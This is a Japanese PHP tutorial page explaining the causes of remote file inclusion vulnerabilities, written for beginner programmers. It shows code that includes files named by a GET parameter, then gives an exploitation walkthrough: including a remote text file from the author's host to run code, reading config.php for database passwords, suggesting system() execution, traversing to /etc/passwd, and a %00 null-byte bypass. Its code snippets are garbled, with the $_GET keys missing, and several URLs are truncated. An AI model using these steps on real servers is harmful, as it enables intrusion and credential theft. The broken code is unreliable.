ホームページ  >  記事  >  バックエンド開発  >  PHP リモート ファイルの脆弱性の原因_PHP チュートリアル

PHP リモート ファイルの脆弱性の原因_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-22 09:02:221230ブラウズ

ジュニア PHP プログラマーの場合、まだ PHP のセキュリティを完全には理解できません。まず、プログラムの脆弱性を引き起こす原理を理解する必要があります。 PHPリモートファイルインクルード脆弱性の原因を紹介しましょう。

最初の質問は、「リモート ファイル インクルード脆弱性」とは何ですか?簡単に言うと、サーバーは任意のファイルを含む PHP の緩いフィルタリングによって悪意のあるファイルを実行するということです。これはプログラマーのフィルタリングの問題です。すべての CGI プログラムにはこのようなバグがあることを覚えておいてください。

1. PHP リモート ファイル インクルードの脆弱性バグを見つけます:

ターゲットを見つけるには、まず、すべての言語 (ほとんど) でこのインクルードの意味を知る必要があります。任意のファイル。 PHP では、 include() 関数とそのワークフローを使用します。

Main.PHP に include1.PHP をインクルードする場合は、次のように include("include1.PHP") と書きます。これはあまり科学的ではありませんが、そうする必要があります。理由を知っている。

まずこれを見てみましょう。ユーザー入力が渡されると、

<ol class="dp-c">
<li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span>	<br>
	
	) {  </span></span></li>
<li>
<span class="keyword">include</span><span> </span><span class="vars">$_GET</span><span>	<br>
	
	;  </span>
</li>
<li class="alt">
<span>} </span><span class="keyword">else</span><span> {  </span>
</li>
<li>
<span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>;  </span>
</li>
<li class="alt"><span>} </span></li>
</ol>

というファイルが含まれます。問題は、この構造が [url]hxxp://www であることです。 .target.com/explame.PHP?page=main.PHP[/url] または [url]hxxp://www.target.com/explame.PHP?page=downloads.PHP[/url] を参照してください。いずれにしても、プログラムにそのようなバグがある場合は、責められるしかありませんが、zone-h の調査では、このフィルタリングに問題がありました。 org、ファイルに含まれる攻撃率は 9.4% であり、これは私たちが注意を払うのに十分であり、数年前には存在していましたが、現在ではプログラマーの集団が攻撃を受けています。この記事では、2004 年にこのような記事を書くことは決まり文句になっていますが、結局のところ、人々が得をすることができる場合は文句とは言えません。

2. テスト

これは、プログラムの安全性を目的として、リモート ファイルのインクルードの例です。具体的なものを見てみましょう

<ol class="dp-xml">
<li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?</span><span class="attribute">page</span><span>=</span><span class="attribute-value">zizzy</span><span>[/url]  </span></span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(zizzy): failed to open stream: No such file or directory  </span></li>
<li><span> </span></li>
<li class="alt"><span>in /var/www/htdocs/index.PHP on line 3  </span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(): Failed opening 'zizzy' for inclusion  </span></li>
<li><span> </span></li>
<li class="alt">
<span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/index.PHP on line 3 </span>
</li>
</ol>

PHP によって出力されるこれらのエラー メッセージ。プログラムが /var/www/htdocs/zizzy ファイルをインクルードしようとしましたが、見つかりませんでした。これで、PHP リモート ファイルインクルードの脆弱性がわかりました。

3.

PHP を使うのは本当に良いことです。リモートからファイルを呼び出すことができます。その後、yeah.txt を作成して、私のサイト [url]hxxp://www.mysite.com/yeah に置きます。 .txt. [/url]内容はこんな感じです

<ol class="dp-c"><li class="alt"><span><span>< ?  </span></span></li><li><span class="func">echo</span><span> </span><span class="string">"Wow,test!"</span><span>;  </span></li><li class="alt"><span>?> </span></span></li></ol>

すると

<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] </span></span></li></ol>

がWow,test!とエコーして実行されます。 config.PHP を読むのは難しくありません。mysql パスワードが含まれています。はい.txt を書き、system() として実行してみてください。やりすぎる場合は、page=../../../../../../../etc /passwd を送信してください。 。これで、真のインクルージョンが何を意味するかがわかりました。

4. PHP リモート ファイルの組み込みの脆弱性のもう 1 つの原則

時々、プログラマーはこのように記述して、組み込みの範囲を制限します

<ol class="dp-c">
<li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span>	<br>
	
	) {  </span></span></li>
<li>
<span class="keyword">include</span><span> </span><span class="string">"$_GET	<br>
	
	.PHP"</span><span>;  </span>
</li>
<li class="alt"><span>}   </span></li>
<li>
<span class="keyword">else</span><span>   </span>
</li>
<li class="alt"><span>{  </span></li>
<li>
<span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>;  </span>
</li>
<li class="alt"><span>} </span></li>
</ol>

送信します

<ol class="dp-xml">
<li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]  </span></span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream:  </span></li>
<li><span> </span></li>
<li class="alt"><span>hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  </span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion  </span></li>
<li><span> </span></li>
<li class="alt">
<span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span>
</li>
</ol>

組み込みに失敗しました、制限しますサフィックスがPHPになっているので、mysite.comのyes.txtをyes.PHPに変更して、通常通り実行します。パスワードはどうですか?

<ol class="dp-xml">
<li class="alt"><span><span>Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request  </span></span></li>
<li><span> </span></li>
<li class="alt"><span>failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  </span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion  </span></li>
<li><span> </span></li>
<li class="alt">
<span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span>
</li>
</ol>

ここで NUL 文字を使用します。検出をスキップするには %00 です

<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url] </span></span></li></ol>

を参照してください。

ファイルを含める場合は、含めるファイルを指定するか、送信された変数をフィルターすることが最善です。これが、この PHP リモート ファイルの組み込みの脆弱性に関する記事の目的です。ハッカー向けではなく、初心者向けに書かれています。 . プログラマに携わる人にとっては、ネット上にはこのような記事がたくさんありますが、誰かが利益を得れば目的は達成されます。


http://www.bkjia.com/PHPjc/445831.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/445831.html技術記事若手の PHP プログラマーは、まだ PHP のセキュリティを完全には理解できません。まず、プログラムの脆弱性を引き起こす原理を理解する必要があります。それでは、PHP リモート ファイル パッケージを紹介しましょう...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。